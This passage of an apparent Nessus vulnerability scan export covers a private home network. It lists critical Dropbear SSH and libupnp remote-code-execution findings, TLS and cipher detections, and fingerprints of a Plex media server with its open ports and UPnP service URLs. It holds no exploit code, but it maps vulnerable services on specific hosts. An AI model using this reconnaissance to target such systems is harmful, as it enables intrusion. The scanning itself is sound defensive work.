vulnerabilities.		According to its self-reported version in its banner, Dropbear SSH
running on the remote host is prior to 2016.74. It is, therefore,
affected by the following vulnerabilities :

  - A format string flaw exists due to improper handling of
    string format specifiers (e.g., %s and %x) in usernames
    and host arguments. An unauthenticated, remote attacker
    can exploit this to execute arbitrary code with root
    privileges. (CVE-2016-7406)

  - A flaw exists in dropbearconvert due to improper
    handling of specially crafted OpenSSH key files. An
    unauthenticated, remote attacker can exploit this to
    execute arbitrary code. (CVE-2016-7407)

  - A flaw exists in dbclient when handling the -m or -c
    arguments in scripts. An unauthenticated, remote attacker
    can exploit this, via a specially crafted script, to
    execute arbitrary code. (CVE-2016-7408)

  - A flaw exists in dbclient or dropbear server if they are
    compiled with the DEBUG_TRACE option and then run using
    the -v switch. A local attacker can exploit this to
    disclose process memory. (CVE-2016-7409)		Upgrade to Dropbear SSH version 2016.74 or later.		https://matt.ucc.asn.au/dropbear/CHANGES		
  Version source    : SSH-2.0-dropbear_2015.67
  Installed version : 2015.67
  Fixed version     : 2016.74
				9.8		7.4		8.5		Critical		92970;92972;92973;92974						9/22/16		11/14/19

		54615						None		192.168.0.1		tcp		0		Device Type		It is possible to guess the remote device type.		Based on the remote operating system, it is possible to determine
what the remote system type is (eg: a printer, router, general-purpose
computer, etc).		n/a				Remote device type : embedded
Confidence level : 80
										None								5/23/11		5/23/11

		56984						None		192.168.0.1		tcp		4567		SSL / TLS Versions Supported		The remote service encrypts communications.		This plugin detects which SSL and TLS versions are supported by the
remote service for encrypting communications.		n/a				
This port supports TLSv1.0/TLSv1.1/TLSv1.2.
										None								12/1/11		7/9/20

		56984						None		192.168.0.1		tcp		8890		SSL / TLS Versions Supported		The remote service encrypts communications.		This plugin detects which SSL and TLS versions are supported by the
remote service for encrypting communications.		n/a				
This port supports TLSv1.0/TLSv1.1/TLSv1.2.
										None								12/1/11		7/9/20

		93650		CVE-2016-7407		10		Critical		192.168.0.20		tcp		22		Dropbear SSH Server < 2016.72 Multiple Vulnerabilities		The SSH service running on the remote host is affected by multiple
vulnerabilities.		According to its self-reported version in its banner, Dropbear SSH
running on the remote host is prior to 2016.74. It is, therefore,
affected by the following vulnerabilities :

  - A format string flaw exists due to improper handling of
    string format specifiers (e.g., %s and %x) in usernames
    and host arguments. An unauthenticated, remote attacker
    can exploit this to execute arbitrary code with root
    privileges. (CVE-2016-7406)

  - A flaw exists in dropbearconvert due to improper
    handling of specially crafted OpenSSH key files. An
    unauthenticated, remote attacker can exploit this to
    execute arbitrary code. (CVE-2016-7407)

  - A flaw exists in dbclient when handling the -m or -c
    arguments in scripts. An unauthenticated, remote attacker
    can exploit this, via a specially crafted script, to
    execute arbitrary code. (CVE-2016-7408)

  - A flaw exists in dbclient or dropbear server if they are
    compiled with the DEBUG_TRACE option and then run using
    the -v switch. A local attacker can exploit this to
    disclose process memory. (CVE-2016-7409)		Upgrade to Dropbear SSH version 2016.74 or later.		https://matt.ucc.asn.au/dropbear/CHANGES		
  Version source    : SSH-2.0-dropbear_2015.67
  Installed version : 2015.67
  Fixed version     : 2016.74
				9.8		7.4		8.5		Critical		92970;92972;92973;92974						9/22/16		11/14/19

		93650		CVE-2016-7408		10		Critical		192.168.0.20		tcp		22		Dropbear SSH Server < 2016.72 Multiple Vulnerabilities		The SSH service running on the remote host is affected by multiple
vulnerabilities.		According to its self-reported version in its banner, Dropbear SSH
running on the remote host is prior to 2016.74. It is, therefore,
affected by the following vulnerabilities :

  - A format string flaw exists due to improper handling of
    string format specifiers (e.g., %s and %x) in usernames
    and host arguments. An unauthenticated, remote attacker
    can exploit this to execute arbitrary code with root
    privileges. (CVE-2016-7406)

  - A flaw exists in dropbearconvert due to improper
    handling of specially crafted OpenSSH key files. An
    unauthenticated, remote attacker can exploit this to
    execute arbitrary code. (CVE-2016-7407)

  - A flaw exists in dbclient when handling the -m or -c
    arguments in scripts. An unauthenticated, remote attacker
    can exploit this, via a specially crafted script, to
    execute arbitrary code. (CVE-2016-7408)

  - A flaw exists in dbclient or dropbear server if they are
    compiled with the DEBUG_TRACE option and then run using
    the -v switch. A local attacker can exploit this to
    disclose process memory. (CVE-2016-7409)		Upgrade to Dropbear SSH version 2016.74 or later.		https://matt.ucc.asn.au/dropbear/CHANGES		
  Version source    : SSH-2.0-dropbear_2015.67
  Installed version : 2015.67
  Fixed version     : 2016.74
				9.8		7.4		8.5		Critical		92970;92972;92973;92974						9/22/16		11/14/19

		93650		CVE-2016-7409		10		Critical		192.168.0.20		tcp		22		Dropbear SSH Server < 2016.72 Multiple Vulnerabilities		The SSH service running on the remote host is affected by multiple
vulnerabilities.		According to its self-reported version in its banner, Dropbear SSH
running on the remote host is prior to 2016.74. It is, therefore,
affected by the following vulnerabilities :

  - A format string flaw exists due to improper handling of
    string format specifiers (e.g., %s and %x) in usernames
    and host arguments. An unauthenticated, remote attacker
    can exploit this to execute arbitrary code with root
    privileges. (CVE-2016-7406)

  - A flaw exists in dropbearconvert due to improper
    handling of specially crafted OpenSSH key files. An
    unauthenticated, remote attacker can exploit this to
    execute arbitrary code. (CVE-2016-7407)

  - A flaw exists in dbclient when handling the -m or -c
    arguments in scripts. An unauthenticated, remote attacker
    can exploit this, via a specially crafted script, to
    execute arbitrary code. (CVE-2016-7408)

  - A flaw exists in dbclient or dropbear server if they are
    compiled with the DEBUG_TRACE option and then run using
    the -v switch. A local attacker can exploit this to
    disclose process memory. (CVE-2016-7409)		Upgrade to Dropbear SSH version 2016.74 or later.		https://matt.ucc.asn.au/dropbear/CHANGES		
  Version source    : SSH-2.0-dropbear_2015.67
  Installed version : 2015.67
  Fixed version     : 2016.74
				9.8		7.4		8.5		Critical		92970;92972;92973;92974						9/22/16		11/14/19

		93650		CVE-2016-7406		10		Critical		192.168.0.26		tcp		22		Dropbear SSH Server < 2016.72 Multiple Vulnerabilities		The SSH service running on the remote host is affected by multiple
vulnerabilities.		According to its self-reported version in its banner, Dropbear SSH
running on the remote host is prior to 2016.74. It is, therefore,
affected by the following vulnerabilities :

  - A format string flaw exists due to improper handling of
    string format specifiers (e.g., %s and %x) in usernames
    and host arguments. An unauthenticated, remote attacker
    can exploit this to execute arbitrary code with root
    privileges. (CVE-2016-7406)

  - A flaw exists in dropbearconvert due to improper
    handling of specially crafted OpenSSH key files. An
    unauthenticated, remote attacker can exploit this to
    execute arbitrary code. (CVE-2016-7407)

  - A flaw exists in dbclient when handling the -m or -c
    arguments in scripts. An unauthenticated, remote attacker
    can exploit this, via a specially crafted script, to
    execute arbitrary code. (CVE-2016-7408)

  - A flaw exists in dbclient or dropbear server if they are
    compiled with the DEBUG_TRACE option and then run using
    the -v switch. A local attacker can exploit this to
    disclose process memory. (CVE-2016-7409)		Upgrade to Dropbear SSH version 2016.74 or later.		https://matt.ucc.asn.au/dropbear/CHANGES		
  Version source    : SSH-2.0-dropbear_2015.67
  Installed version : 2015.67
  Fixed version     : 2016.74
				9.8		7.4		8.5		Critical		92970;92972;92973;92974						9/22/16		11/14/19

		93650		CVE-2016-7407		10		Critical		192.168.0.26		tcp		22		Dropbear SSH Server < 2016.72 Multiple Vulnerabilities		The SSH service running on the remote host is affected by multiple
vulnerabilities.		According to its self-reported version in its banner, Dropbear SSH
running on the remote host is prior to 2016.74. It is, therefore,
affected by the following vulnerabilities :

  - A format string flaw exists due to improper handling of
    string format specifiers (e.g., %s and %x) in usernames
    and host arguments. An unauthenticated, remote attacker
    can exploit this to execute arbitrary code with root
    privileges. (CVE-2016-7406)

  - A flaw exists in dropbearconvert due to improper
    handling of specially crafted OpenSSH key files. An
    unauthenticated, remote attacker can exploit this to
    execute arbitrary code. (CVE-2016-7407)

  - A flaw exists in dbclient when handling the -m or -c
    arguments in scripts. An unauthenticated, remote attacker
    can exploit this, via a specially crafted script, to
    execute arbitrary code. (CVE-2016-7408)

  - A flaw exists in dbclient or dropbear server if they are
    compiled with the DEBUG_TRACE option and then run using
    the -v switch. A local attacker can exploit this to
    disclose process memory. (CVE-2016-7409)		Upgrade to Dropbear SSH version 2016.74 or later.		https://matt.ucc.asn.au/dropbear/CHANGES		
  Version source    : SSH-2.0-dropbear_2015.67
  Installed version : 2015.67
  Fixed version     : 2016.74
				9.8		7.4		8.5		Critical		92970;92972;92973;92974						9/22/16		11/14/19

		70544						None		192.168.0.1		tcp		4567		SSL Cipher Block Chaining Cipher Suites Supported		The remote service supports the use of SSL Cipher Block Chaining
ciphers, which combine previous blocks with subsequent ones.		The remote host supports the use of SSL ciphers that operate in Cipher
Block Chaining (CBC) mode.  These cipher suites offer additional
security over Electronic Codebook (ECB) mode, but have the potential to
leak information if used improperly.		n/a		https://www.openssl.org/docs/manmaster/man1/ciphers.html
http://www.nessus.org/u?cc4a822a
https://www.openssl.org/~bodo/tls-cbc.txt		
Here is the list of SSL CBC ciphers supported by the remote server :

  Medium Strength Ciphers (> 64-bit and < 112-bit key, or 3DES)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    DES-CBC3-SHA                  0x00, 0x0A       RSA           RSA      3DES-CBC(168)          SHA1

  High Strength Ciphers (>= 112-bit key)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    AES128-SHA                    0x00, 0x2F       RSA           RSA      AES-CBC(128)           SHA1
    AES256-SHA                    0x00, 0x35       RSA           RSA      AES-CBC(256)           SHA1
    CAMELLIA128-SHA               0x00, 0x41       RSA           RSA      Camellia-CBC(128)      SHA1
    CAMELLIA256-SHA               0x00, 0x84       RSA           RSA      Camellia-CBC(256)      SHA1
    SEED-SHA                      0x00, 0x96       RSA           RSA      SEED-CBC(128)          SHA1
    RSA-AES128-SHA256             0x00, 0x3C       RSA           RSA      AES-CBC(128)           SHA256
    RSA-AES256-SHA256             0x00, 0x3D       RSA           RSA      AES-CBC(256)           SHA256

The fields above are :

  {Tenable ciphername}
  {Cipher ID code}
  Kex={key exchange}
  Auth={authentication}
  Encrypt={symmetric encryption method}
  MAC={message authentication code}
  {export flag}
										None								10/22/13		11/15/18

		70544						None		192.168.0.1		tcp		8890		SSL Cipher Block Chaining Cipher Suites Supported		The remote service supports the use of SSL Cipher Block Chaining
ciphers, which combine previous blocks with subsequent ones.		The remote host supports the use of SSL ciphers that operate in Cipher
Block Chaining (CBC) mode.  These cipher suites offer additional
security over Electronic Codebook (ECB) mode, but have the potential to
leak information if used improperly.		n/a		https://www.openssl.org/docs/manmaster/man1/ciphers.html
http://www.nessus.org/u?cc4a822a
https://www.openssl.org/~bodo/tls-cbc.txt		
Here is the list of SSL CBC ciphers supported by the remote server :

  Medium Strength Ciphers (> 64-bit and < 112-bit key, or 3DES)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    DES-CBC3-SHA                  0x00, 0x0A       RSA           RSA      3DES-CBC(168)          SHA1

  High Strength Ciphers (>= 112-bit key)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    AES128-SHA                    0x00, 0x2F       RSA           RSA      AES-CBC(128)           SHA1
    AES256-SHA                    0x00, 0x35       RSA           RSA      AES-CBC(256)           SHA1
    CAMELLIA128-SHA               0x00, 0x41       RSA           RSA      Camellia-CBC(128)      SHA1
    CAMELLIA256-SHA               0x00, 0x84       RSA           RSA      Camellia-CBC(256)      SHA1
    SEED-SHA                      0x00, 0x96       RSA           RSA      SEED-CBC(128)          SHA1
    RSA-AES128-SHA256             0x00, 0x3C       RSA           RSA      AES-CBC(128)           SHA256
    RSA-AES256-SHA256             0x00, 0x3D       RSA           RSA      AES-CBC(256)           SHA256

The fields above are :

  {Tenable ciphername}
  {Cipher ID code}
  Kex={key exchange}
  Auth={authentication}
  Encrypt={symmetric encryption method}
  MAC={message authentication code}
  {export flag}
										None								10/22/13		11/15/18

		72779						None		192.168.0.1		tcp		53		DNS Server Version Detection		Nessus was able to obtain version information on the remote DNS
server.		Nessus was able to obtain version information by sending a special TXT
record query to the remote host.

Note that this version is not necessarily accurate and could even be
forged, as some DNS servers send the information based on a
configuration file.		n/a				
DNS server answer for "version.bind" (over TCP) :

  dnsmasq-2.62
										None				IAVT:0001-T-0937				3/3/14		9/22/20

		93650		CVE-2016-7408		10		Critical		192.168.0.26		tcp		22		Dropbear SSH Server < 2016.72 Multiple Vulnerabilities		The SSH service running on the remote host is affected by multiple
vulnerabilities.		According to its self-reported version in its banner, Dropbear SSH
running on the remote host is prior to 2016.74. It is, therefore,
affected by the following vulnerabilities :

  - A format string flaw exists due to improper handling of
    string format specifiers (e.g., %s and %x) in usernames
    and host arguments. An unauthenticated, remote attacker
    can exploit this to execute arbitrary code with root
    privileges. (CVE-2016-7406)

  - A flaw exists in dropbearconvert due to improper
    handling of specially crafted OpenSSH key files. An
    unauthenticated, remote attacker can exploit this to
    execute arbitrary code. (CVE-2016-7407)

  - A flaw exists in dbclient when handling the -m or -c
    arguments in scripts. An unauthenticated, remote attacker
    can exploit this, via a specially crafted script, to
    execute arbitrary code. (CVE-2016-7408)

  - A flaw exists in dbclient or dropbear server if they are
    compiled with the DEBUG_TRACE option and then run using
    the -v switch. A local attacker can exploit this to
    disclose process memory. (CVE-2016-7409)		Upgrade to Dropbear SSH version 2016.74 or later.		https://matt.ucc.asn.au/dropbear/CHANGES		
  Version source    : SSH-2.0-dropbear_2015.67
  Installed version : 2015.67
  Fixed version     : 2016.74
				9.8		7.4		8.5		Critical		92970;92972;92973;92974						9/22/16		11/14/19

		93650		CVE-2016-7409		10		Critical		192.168.0.26		tcp		22		Dropbear SSH Server < 2016.72 Multiple Vulnerabilities		The SSH service running on the remote host is affected by multiple
vulnerabilities.		According to its self-reported version in its banner, Dropbear SSH
running on the remote host is prior to 2016.74. It is, therefore,
affected by the following vulnerabilities :

  - A format string flaw exists due to improper handling of
    string format specifiers (e.g., %s and %x) in usernames
    and host arguments. An unauthenticated, remote attacker
    can exploit this to execute arbitrary code with root
    privileges. (CVE-2016-7406)

  - A flaw exists in dropbearconvert due to improper
    handling of specially crafted OpenSSH key files. An
    unauthenticated, remote attacker can exploit this to
    execute arbitrary code. (CVE-2016-7407)

  - A flaw exists in dbclient when handling the -m or -c
    arguments in scripts. An unauthenticated, remote attacker
    can exploit this, via a specially crafted script, to
    execute arbitrary code. (CVE-2016-7408)

  - A flaw exists in dbclient or dropbear server if they are
    compiled with the DEBUG_TRACE option and then run using
    the -v switch. A local attacker can exploit this to
    disclose process memory. (CVE-2016-7409)		Upgrade to Dropbear SSH version 2016.74 or later.		https://matt.ucc.asn.au/dropbear/CHANGES		
  Version source    : SSH-2.0-dropbear_2015.67
  Installed version : 2015.67
  Fixed version     : 2016.74
				9.8		7.4		8.5		Critical		92970;92972;92973;92974						9/22/16		11/14/19

		86420						None		192.168.0.1		tcp		0		Ethernet MAC Addresses		This plugin gathers MAC addresses from various sources and
consolidates them into a list.		This plugin gathers MAC addresses discovered from both remote probing
of the host (e.g. SNMP and Netbios) and from running local checks
(e.g. ifconfig). It then consolidates the MAC addresses into a single,
unique, and uniform list.		n/a				The following is a consolidated list of detected MAC addresses:
  - 70:50:AF:94:E0:21
										None								10/16/15		5/13/20

		64394		CVE-2012-5958		10		Critical		192.168.0.27		udp		1900		Portable SDK for UPnP Devices (libupnp) < 1.6.18 Multiple Stack-based Buffer Overflows RCE		A network service running on the remote host is affected by multiple
remote code execution vulnerabilities.		According to its banner, the version of Portable SDK for UPnP Devices
(libupnp) running on the remote host is prior to 1.6.18. It is,
therefore, affected by multiple remote code execution
vulnerabilities :

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the DeviceType URN. An unauthenticated,
    remote attacker can exploit this, via a specially
    crafted SSDP request, to execute arbitrary code.
    (CVE-2012-5958)

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the UDN prior to two colons. An
    unauthenticated, remote attacker can exploit this, via a
    specially crafted SSDP request, to execute arbitrary
    code. (CVE-2012-5959)

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the UDN prior to the '::upnp:rootdevice'
    string. An unauthenticated, remote attacker can exploit
    this, via a specially crafted SSDP request, to execute
    arbitrary code. (CVE-2012-5960)

  - Multiple stack-based buffer overflow conditions exist in
    the unique_service_name() function within file
    ssdp/ssdp_server.c due to improper validation of the
    UDN, DeviceType, and ServiceType fields when parsing
    Simple Service Discovery Protocol (SSDP) requests. An
    unauthenticated, remote attacker can exploit these
    issues, via a specially crafted SSDP request, to execute
    arbitrary code. (CVE-2012-5961, CVE-2012-5962,
    CVE-2012-5963, CVE-2012-5964, CVE-2012-5965)		Upgrade to libupnp version 1.6.18 or later. If libupnp is used as a
third party library by a different application, contact the vendor of
that application for a fix.		http://www.nessus.org/u?46d66d2f
https://help.rapid7.com/?community
http://www.nessus.org/u?d381943f
http://www.nessus.org/u?8642ada6
http://www.nessus.org/u?a76191f3		
  Server banner : Linux/3.10.92-stih419_gemini, UPnP/1.0, Portable SDK for UPnP devices/1.6.13
  Source: UDP
  Installed version : 1.6.13
  Fixed version : 1.6.18
				9.8		8.3		9.1		Critical		57602		CERT:922681;EDB-ID:24455				2/1/13		3/2/20		TRUE

		64394		CVE-2012-5959		10		Critical		192.168.0.27		udp		1900		Portable SDK for UPnP Devices (libupnp) < 1.6.18 Multiple Stack-based Buffer Overflows RCE		A network service running on the remote host is affected by multiple
remote code execution vulnerabilities.		According to its banner, the version of Portable SDK for UPnP Devices
(libupnp) running on the remote host is prior to 1.6.18. It is,
therefore, affected by multiple remote code execution
vulnerabilities :

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the DeviceType URN. An unauthenticated,
    remote attacker can exploit this, via a specially
    crafted SSDP request, to execute arbitrary code.
    (CVE-2012-5958)

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the UDN prior to two colons. An
    unauthenticated, remote attacker can exploit this, via a
    specially crafted SSDP request, to execute arbitrary
    code. (CVE-2012-5959)

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the UDN prior to the '::upnp:rootdevice'
    string. An unauthenticated, remote attacker can exploit
    this, via a specially crafted SSDP request, to execute
    arbitrary code. (CVE-2012-5960)

  - Multiple stack-based buffer overflow conditions exist in
    the unique_service_name() function within file
    ssdp/ssdp_server.c due to improper validation of the
    UDN, DeviceType, and ServiceType fields when parsing
    Simple Service Discovery Protocol (SSDP) requests. An
    unauthenticated, remote attacker can exploit these
    issues, via a specially crafted SSDP request, to execute
    arbitrary code. (CVE-2012-5961, CVE-2012-5962,
    CVE-2012-5963, CVE-2012-5964, CVE-2012-5965)		Upgrade to libupnp version 1.6.18 or later. If libupnp is used as a
third party library by a different application, contact the vendor of
that application for a fix.		http://www.nessus.org/u?46d66d2f
https://help.rapid7.com/?community
http://www.nessus.org/u?d381943f
http://www.nessus.org/u?8642ada6
http://www.nessus.org/u?a76191f3		
  Server banner : Linux/3.10.92-stih419_gemini, UPnP/1.0, Portable SDK for UPnP devices/1.6.13
  Source: UDP
  Installed version : 1.6.13
  Fixed version : 1.6.18
				9.8		8.3		9.1		Critical		57602		CERT:922681;EDB-ID:24455				2/1/13		3/2/20		TRUE

		121010						None		192.168.0.1		tcp		4567		TLS Version 1.1 Protocol Detection		The remote service encrypts traffic using an older version of TLS.		The remote service accepts connections encrypted using TLS 1.1.
TLS 1.1 lacks support for current and recommended cipher suites.
Ciphers that support encryption before MAC computation, and
authenticated encryption modes such as GCM cannot be used with
TLS 1.1

As of March 31, 2020, Endpoints that are not enabled for TLS 1.2 
and higher will no longer function properly with major web browsers and major vendors.		Enable support for TLS 1.2 and/or 1.3, and disable support for TLS 1.1.		https://tools.ietf.org/html/draft-ietf-tls-oldversions-deprecate-00
http://www.nessus.org/u?c8ae820d		TLSv1.1 is enabled and the server supports at least one cipher.										None								1/8/19		8/7/20

		121010						None		192.168.0.1		tcp		8890		TLS Version 1.1 Protocol Detection		The remote service encrypts traffic using an older version of TLS.		The remote service accepts connections encrypted using TLS 1.1.
TLS 1.1 lacks support for current and recommended cipher suites.
Ciphers that support encryption before MAC computation, and
authenticated encryption modes such as GCM cannot be used with
TLS 1.1

As of March 31, 2020, Endpoints that are not enabled for TLS 1.2 
and higher will no longer function properly with major web browsers and major vendors.		Enable support for TLS 1.2 and/or 1.3, and disable support for TLS 1.1.		https://tools.ietf.org/html/draft-ietf-tls-oldversions-deprecate-00
http://www.nessus.org/u?c8ae820d		TLSv1.1 is enabled and the server supports at least one cipher.										None								1/8/19		8/7/20

		136318						None		192.168.0.1		tcp		4567		TLS Version 1.2 Protocol Detection		The remote service encrypts traffic using a version of TLS.		The remote service accepts connections encrypted using TLS 1.2.		N/A		https://tools.ietf.org/html/rfc5246		TLSv1.2 is enabled and the server supports at least one cipher.										None								5/4/20		5/4/20

		136318						None		192.168.0.1		tcp		8890		TLS Version 1.2 Protocol Detection		The remote service encrypts traffic using a version of TLS.		The remote service accepts connections encrypted using TLS 1.2.		N/A		https://tools.ietf.org/html/rfc5246		TLSv1.2 is enabled and the server supports at least one cipher.										None								5/4/20		5/4/20

		10107						None		192.168.0.11		tcp		1268		HTTP Server Type and Version		A web server is running on the remote host.		This plugin attempts to determine the type and the version of the
  remote web server.		n/a				The remote web server type is :

UPnP/1.0 DLNADOC/1.50 Platinum/1.0.5.13										None				IAVT:0001-T-0931				1/4/00		10/30/20

		10114		CVE-1999-0524		0		None		192.168.0.11		icmp		0		ICMP Timestamp Request Remote Date Disclosure		It is possible to determine the exact time set on the remote host.		The remote host answers to an ICMP timestamp request.  This allows an
attacker to know the date that is set on the targeted machine, which
may assist an unauthenticated, remote attacker in defeating time-based
authentication protocols.

Timestamps returned from machines running Windows Vista / 7 / 2008 /
2008 R2 are deliberately incorrect, but usually within 1000 seconds of
the actual system time.		Filter out the ICMP timestamp requests (13), and the outgoing ICMP
timestamp replies (14).				The difference between the local and remote clocks is -1 seconds.
				0						None				CWE:200				8/1/99		10/4/19

		10267						None		192.168.0.11		tcp		22		SSH Server Type and Version Information		An SSH server is listening on this port.		It is possible to obtain information about the remote SSH server by
sending an empty authentication request.		n/a				
SSH version : SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.1
SSH supported authentication : publickey,password
										None				IAVT:0001-T-0933				10/12/99		9/22/20

		10287						None		192.168.0.11		udp		0		Traceroute Information		It was possible to obtain traceroute information.		Makes a traceroute to the remote host.		n/a				For your information, here is the traceroute from 192.168.0.35 to 192.168.0.11 : 
192.168.0.35
192.168.0.11

Hop Count: 1
										None								11/27/99		8/20/20

		10881						None		192.168.0.11		tcp		22		SSH Protocol Versions Supported		A SSH server is running on the remote host.		This plugin determines the versions of the SSH protocol supported by
the remote SSH daemon.		n/a				The remote SSH daemon supports the following versions of the
SSH protocol :

  - 1.99
  - 2.0
										None								3/6/02		2/18/20

		11219						None		192.168.0.11		tcp		22		Nessus SYN scanner		It is possible to determine which TCP ports are open.		This plugin is a SYN 'half-open' port scanner.  It shall be reasonably
quick even against a firewalled target. 

Note that SYN scans are less intrusive than TCP (full connect) scans
against broken services, but they might cause problems for less robust
firewalls and also leave unclosed connections on the remote target, if
the network is loaded.		Protect your target with an IP filter.				Port 22/tcp was found to be open										None								2/4/09		9/14/20

		11219						None		192.168.0.11		tcp		1268		Nessus SYN scanner		It is possible to determine which TCP ports are open.		This plugin is a SYN 'half-open' port scanner.  It shall be reasonably
quick even against a firewalled target. 

Note that SYN scans are less intrusive than TCP (full connect) scans
against broken services, but they might cause problems for less robust
firewalls and also leave unclosed connections on the remote target, if
the network is loaded.		Protect your target with an IP filter.				Port 1268/tcp was found to be open										None								2/4/09		9/14/20

		11936						None		192.168.0.11		tcp		0		OS Identification		It is possible to guess the remote operating system.		Using a combination of remote probes (e.g., TCP/IP, SMB, HTTP, NTP,
SNMP, etc.), it is possible to guess the name of the remote operating
system in use. It is also possible sometimes to guess the version of
the operating system.		n/a				
Remote operating system : Plex, Inc. Plex Media Server 1.20.3.3437
Confidence level : 85
Method : UPnP

 
The remote host is running Plex, Inc. Plex Media Server 1.20.3.3437										None								12/9/03		3/9/20

		12053						None		192.168.0.11		tcp		0		Host Fully Qualified Domain Name (FQDN) Resolution		It was possible to resolve the name of the remote host.		Nessus was able to resolve the fully qualified domain name (FQDN) of
the remote host.		n/a				
192.168.0.11 resolves as Plex.
										None								2/11/04		4/14/17

		19506						None		192.168.0.11		tcp		0		Nessus Scan Information		This plugin displays information about the Nessus scan.		This plugin displays, for each tested host, information about the
scan itself :

  - The version of the plugin set.
  - The type of scanner (Nessus or Nessus Home).
  - The version of the Nessus Engine.
  - The port scanner(s) used.
  - The port range scanned.
  - Whether credentialed or third-party patch management
    checks are possible.
  - Whether the display of superseded patches is enabled
  - The date of the scan.
  - The duration of the scan.
  - The number of hosts scanned in parallel.
  - The number of checks done in parallel.		n/a				Information about this scan : 

Nessus version : 8.12.1
Plugin feed version : 202011051454
Scanner edition used : Nessus Home
Scan type : Normal
Scan policy used : Basic Network Scan
Scanner IP : 192.168.0.35
Port scanner(s) : nessus_syn_scanner 
Port range : default
Thorough tests : no
Experimental tests : no
Paranoia level : 1
Report verbosity : 1
Safe checks : yes
Optimize the test : yes
Credentialed checks : no
Patch management checks : None
Display superseded patches : yes (supersedence plugin launched)
CGI scanning : disabled
Web application tests : disabled
Max hosts : 30
Max checks : 4
Recv timeout : 5
Backports : None
Allow post-scan editing: Yes
Scan Start Date : 2020/11/5 13:08 EST
Scan duration : 112 sec
										None								8/26/05		8/27/20

		19689						None		192.168.0.11		tcp		1268		Embedded Web Server Detection		The remote web server is embedded.		The remote web server cannot host user-supplied CGIs. CGI scanning
will be disabled on this server.		n/a														None								9/14/05		11/22/19

		22964						None		192.168.0.11		tcp		22		Service Detection		The remote service could be identified.		Nessus was able to identify the remote service by its banner or by
looking at the error message it sends when it receives an HTTP
request.		n/a				An SSH server is running on this port.										None								8/19/07		8/18/20

		22964						None		192.168.0.11		tcp		1268		Service Detection		The remote service could be identified.		Nessus was able to identify the remote service by its banner or by
looking at the error message it sends when it receives an HTTP
request.		n/a				A web server is running on this port.										None								8/19/07		8/18/20

		25220						None		192.168.0.11		tcp		0		TCP/IP Timestamps Supported		The remote service implements TCP timestamps.		The remote host implements TCP timestamps, as defined by RFC1323.  A
side effect of this feature is that the uptime of the remote host can
sometimes be computed.		n/a		http://www.ietf.org/rfc/rfc1323.txt												None								5/16/07		3/6/19

		35711						None		192.168.0.11		udp		1900		Universal Plug and Play (UPnP) Protocol Detection		The remote device supports UPnP.		The remote device answered an SSDP M-SEARCH request. Therefore, it
supports 'Universal Plug and Play' (UPnP). This protocol provides
automatic configuration and device discovery. It is primarily intended
for home networks. An attacker could potentially leverage this to
discover your network architecture.		Filter access to this port if desired.		https://en.wikipedia.org/wiki/Universal_Plug_and_Play
https://en.wikipedia.org/wiki/Simple_Service_Discovery_Protocol
http://quimby.gnus.org/internet-drafts/draft-cai-ssdp-v1-03.txt		The device responded to an SSDP M-SEARCH request with the following locations :

    http://192.168.0.11:32469/DeviceDescription.xml

And advertises these unique service names :

    uuid:a87f7534-6657-65c8-ae14-751f8c16338d::upnp:rootdevice
    uuid:a87f7534-6657-65c8-ae14-751f8c16338d::urn:schemas-upnp-org:device:MediaServer:1
    uuid:a87f7534-6657-65c8-ae14-751f8c16338d::urn:microsoft.com:service:X_MS_MediaReceiverRegistrar:1
    uuid:a87f7534-6657-65c8-ae14-751f8c16338d::urn:schemas-upnp-org:service:ContentDirectory:1
    uuid:a87f7534-6657-65c8-ae14-751f8c16338d::urn:schemas-upnp-org:service:ConnectionManager:1

										None								2/19/09		9/12/18

		35712						None		192.168.0.11		tcp		32469		Web Server UPnP Detection		The remote web server provides UPnP information.		Nessus was able to extract some information about the UPnP-enabled
device by querying this web server. Services may also be reachable
through SOAP requests.		Filter incoming traffic to this port if desired.		https://en.wikipedia.org/wiki/Universal_Plug_and_Play		
Here is a summary of http://192.168.0.11:32469/DeviceDescription.xml :

deviceType: urn:schemas-upnp-org:device:MediaServer:1
friendlyName: Plex Media Server: Plex-Container
manufacturer: Plex, Inc.
manufacturerURL: http://www.plexapp.com/
modelName: Plex Media Server
modelDescription: Plex Media Server
modelName: Plex Media Server
modelNumber: 1.20.3.3437
modelURL: http://www.plexapp.com/
ServiceID: urn:microsoft.com:serviceId:X_MS_MediaReceiverRegistrar
	serviceType: urn:microsoft.com:service:X_MS_MediaReceiverRegistrar:1
	controlURL: /X_MS_MediaReceiverRegistrar/a87f7534-6657-65c8-ae14-751f8c16338d/control.xml
	eventSubURL: /X_MS_MediaReceiverRegistrar/a87f7534-6657-65c8-ae14-751f8c16338d/event.xml
	SCPDURL: /X_MS_MediaReceiverRegistrar/a87f7534-6657-65c8-ae14-751f8c16338d/scpd.xml
ServiceID: urn:upnp-org:serviceId:ContentDirectory
	serviceType: urn:schemas-upnp-org:service:ContentDirectory:1
	controlURL: /ContentDirectory/a87f7534-6657-65c8-ae14-751f8c16338d/control.xml
	eventSubURL: /ContentDirectory/a87f7534-6657-65c8-ae14-751f8c16338d/event.xml
